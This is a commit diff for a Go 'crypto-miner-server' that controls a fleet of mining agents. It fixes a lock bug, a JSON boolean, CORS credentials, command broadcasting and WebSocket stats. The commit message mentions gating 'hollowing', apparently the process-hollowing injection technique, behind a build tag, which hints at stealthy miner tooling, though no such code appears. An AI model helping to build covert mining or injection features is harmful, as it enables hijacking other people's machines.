Fix small bugs across AI tools, fleet API, and run.bat.

Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.

server/internal/api/ai_handler.go

@@ -114,14 +114,10 @@ func (h *AIHandler) RemoveEngine(agentID string) {
 
 // GetEngine returns the engine for an agent.
 func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
+	h.mu.Lock()
+	defer h.mu.Unlock()
 	if entry, ok := h.engines[agentID]; ok {
-		h.mu.RUnlock() // Briefly unlock to update timestamp
-		h.mu.Lock()
 		entry.lastUsed = time.Now()
-		h.mu.Unlock()
-		h.mu.RLock()
 		return entry.engine
 	}
 	return nil

server/internal/api/blueprint_handler.go

@@ -189,7 +189,7 @@ func (h *BlueprintHandler) deleteBlueprint(w http.ResponseWriter, r *http.Reques
 		return
 	}
 
-	writeJSON(w, map[string]string{"success": "true", "name": safeName})
+	writeJSON(w, map[string]interface{}{"success": true, "name": safeName})
 }
 
 func sanitizeFilename(name string) string {

server/internal/api/fleet_handler.go

@@ -4,7 +4,6 @@ import (
 	"encoding/json"
 	"net/http"
 	"strconv"
-	"time"
 
 	"crypto-miner-server/internal/alerts"
 	"crypto-miner-server/internal/db"
@@ -70,7 +69,6 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
 	}
 	if r.URL.Query().Get("refresh") == "1" {
 		_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
-		time.Sleep(800 * time.Millisecond)
 	}
 	writeJSON(w, map[string]interface{}{
 		"agent_id": id,
@@ -116,6 +114,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
 	}
 
 	if id == "all" {
+		if f.ws.connectedAgentCount() == 0 {
+			writeJSON(w, map[string]interface{}{
+				"success":  false,
+				"error":    "no connected agents",
+				"agent_id": id,
+				"action":   req.Action,
+			})
+			return
+		}
 		f.ws.BroadcastAgentCommand(req.Action, args)
 	} else {
 		if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {

server/internal/api/router.go

@@ -21,10 +21,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 	r.Use(middleware.Logger)
 	r.Use(middleware.Recoverer)
 	r.Use(cors.Handler(cors.Options{
-		AllowedOrigins:   []string{"*"},
-		AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
-		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type"},
-		AllowCredentials: true,
+		AllowedOrigins: []string{"*"},
+		AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
+		AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
+		// With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
+		AllowCredentials: false,
 	}))
 
 	// REST API

server/internal/api/websocket.go

@@ -370,11 +370,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.broadcastDashboard(Message{
 				Type: "stats_update",
 				Payload: mustMarshal(map[string]interface{}{
-					"agent_id":      agentID,
-					"hashrate_15s":  stats.Hashrate15s,
-					"hashrate_1m":   stats.Hashrate1m,
-					"hashrate_15m":  stats.Hashrate15m,
-					"cpu_usage_pct": stats.CPUUsagePct,
+					"agent_id":         agentID,
+					"hashrate_15s":     stats.Hashrate15s,
+					"hashrate_1m":      stats.Hashrate1m,
+					"hashrate_15m":     stats.Hashrate15m,
+					"cpu_usage_pct":    stats.CPUUsagePct,
+					"memory_usage_pct": stats.MemoryUsagePct,
+					"uptime_seconds":   stats.UptimeSeconds,
+					"shares_submitted": stats.SharesSubmitted,
+					"shares_accepted":  stats.SharesAccepted,
 				}),
 			})